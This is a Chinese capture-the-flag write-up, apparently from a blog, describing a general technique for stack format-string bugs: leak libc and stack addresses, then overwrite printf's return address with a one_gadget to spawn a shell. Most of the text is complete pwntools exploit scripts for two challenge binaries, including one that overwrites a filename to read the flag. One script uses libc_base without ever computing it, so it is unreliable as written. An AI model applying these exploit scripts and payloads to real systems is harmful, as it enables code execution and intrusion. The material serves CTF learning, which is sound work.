最近做了两个栈上的格式化字符串漏洞题目,发现了一个几乎能任意做此类型题目的方法
就以下面这两个例题来介绍一下这个方法
先说一下这个思路吧,就是通过两次格式化字符串漏洞,第一次泄露libc_base,以及栈里面的一个地址(任意)第二次修改printf的返回地址为one_gadget去getshell
例题一
保护情况:
主函数:
可以看到可以无限利用格式化字符串漏洞,但是又不会跳出这个循环,所以没法控制主函数的返回地址。
这个题有两种思路,第一种就是通过格式化字符串漏洞任意地址写,把 f 在bss段上的内容改成flag
第二种就是修改printf函数的返回地址为one_gad
这里详细说第二种方法
第一步:
泄露libc_base
泄露__libc_start_main+243的地址再减去243。
然后再随便泄露个栈地址,找到printf的返回地址(进入到printf里就能找到了),以及该地址的栈地址(结尾为91a8的)用你泄露的栈地址让其两者相减,然后就能覆盖成one_gadget
然后找个one_gadget
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
用第二个
脚本如下:
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=process('./pwn')
elf=ELF("./pwn")
libc=ELF("libc-2.31.so")
def op(i):
p.recvuntil("5. Exit\n-------------------------\n")
p.sendline(str(i))
op(1)
op(3)
p.recvuntil("Please input your notes\n")
pay=b'%21$p'
#gdb.attach(p)
#pause()
p.sendline(pay)
p.recvuntil("Content:\n")
libcstart_addr=int(p.recv(14),16)
print(hex(libcstart_addr))
one_gad=libc_base+0xe3b01
print(hex(one_gad))
op(3)
p.recvuntil("Please input your notes\n")
pay=b'%18$p'
p.sendline(pay)
p.recvuntil("Content:\n")
stack=p.recv(14)
stack_addr=int(stack,16)
print(hex(stack_addr))
addr=stack_addr-0x100
ret_addr=stack_addr-0x60-8-0x100 #可以不断调试以找到正确的返回地址
op(3)
p.recvuntil("Please input your notes\n")
pay=fmtstr_payload(8, {
ret_addr:one_gad},write_size='short') #单字节写入字节太大,所以用双字节写入,以满足小于0x50字节
p.sendline(pay)
p.interactive()
第二种方法
from pwn import *
io = process('./pwn2')
context(arch="amd64",os="linux")
context.log_level = "debug"
csu = 0xE70
def openfile():
io.recvuntil("-------------------------\n")
io.sendline(str(1))
def readfile():
io.recvuntil("-------------------------\n")
io.sendline(str(2))
def addnotes(notes):
io.recvuntil("-------------------------\n")
io.sendline(str(3))
io.recvuntil("Please input your notes\n")
io.sendline(notes)
io.recvuntil("Content:\n",drop=True)
def closefile():
io.recvuntil("-------------------------\n")
io.sendline(str(4))
def pwn():
openfile()
addnotes(b'%26$p')
csu_addr = int(io.recvline(keepends=False),16)
print(hex(csu_addr))
pie = csu_addr - csu
filename = pie + 0x0202070
payload = fmtstr_payload(8,{
filename:u32(b'flag')})
addnotes(payload)
closefile()
openfile()
io.recvuntil("You successfully opened the file.\n")
readfile()
#gdb.attach(io)
#pause()
print(io.recv())
io.interactive()
# io.recvuntil("-------------------------\n")
# io.sendline(str(3))
# io.recvuntil("Please input your notes\n")
# payload = b'\x00'*10
# gdb.attach(io)
# pause()
# io.sendline(payload)
pwn()
直接读出flag了
例题二
程序比较简单
保护如下:
可以看到总共有四次格式化字符串漏洞,前两次是在栈上的格式化字符串漏洞
后两次是bss段上上的格式化字符串漏洞
那么就可以通过前两次格式化字符串漏洞,直接getshell和上题一样,(当然,也可以覆盖变量值,这里不过多说那个方法)
思路也是第一次泄露libc第二次修改printf的返回地址为one_gadget
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p=remote("81.68.77.181",5001)
p=process("./pwn1")
elf=ELF("./pwn1")
libc=ELF("./libc-2.31.so")
p.recvuntil(b"hahah~\n")
pay=b'%19$p,%16$p'
#gdb.attach(p)
#pause()
p.sendline(pay)
#libc_base=u64(p.recv(6).ljust(8,b'\x00'))-243
libc_base=int(p.recv(14),16)-243-libc.sym['__libc_start_main']
p.recv(1)
stack=int(p.recv(14),16)-0x4e-0x10a
print(hex(libc_base))
print(hex(stack))
one_gad=libc_base+0xe3b01
p.recvuntil(b"hahah~\n")
pay=fmtstr_payload(8, {
stack:one_gad},write_size='short')
p.send(pay)
p.interactive()
扫描二维码关注公众号,回复:
15187312 查看本文章
使用条件大概就是
1.能执行两次格式化字符串漏洞
2.能读入的字节不少于0x40字节